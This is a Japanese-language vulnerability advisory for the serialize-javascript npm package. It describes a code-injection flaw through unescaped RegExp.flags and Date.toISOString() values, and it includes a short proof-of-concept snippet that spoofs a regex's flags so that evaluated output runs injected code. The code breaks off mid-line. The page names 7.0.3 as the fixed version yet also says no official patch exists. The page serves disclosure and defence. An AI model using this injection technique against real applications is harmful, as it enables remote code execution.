UNKNOWNGHSA-5c6j-r48x-rmvq

Serialize JavaScriptは、RegExp.flagsとDate.prototype.toISOString()を介したRCEに対して脆弱です

プラットフォーム

nodejs

コンポーネント

serialize-javascript

修正バージョン

7.0.3

### 影響 serialize-javascript npmパッケージ(バージョン<= 7.0.2)には、コードインジェクションの脆弱性が含まれています。これはCVE-2020-7660の不完全な修正です。 `RegExp.source`はサニタイズされますが、`RegExp.flags`はエスケープせずに生成された出力に直接挿入されます。同様の問題が`Date.prototype.toISOString()`にも存在します。 攻撃者が`serialize()`に渡される入力オブジェクトを制御できる場合、RegExpオブジェクトのflagsプロパティを介して悪意のあるJavaScriptを挿入できます。シリアライズされた文字列が後で(`eval`、`new Function`、または`<script>`タグを介して)評価されると、挿入されたコードが実行されます。 ```javascript const serialize = require('serialize-javascript'); // instanceof RegExpをパスし、スプーフィングされた.flagsを持つオブジェクトを作成します const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // 出力: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log("

修正方法

公式パッチはありません。回避策を確認するか、アップデートを監視してください。

依存関係を自動的に監視

新しい脆弱性がプロジェクトに影響を与えたときにアラートを受け取りましょう。

無料で始める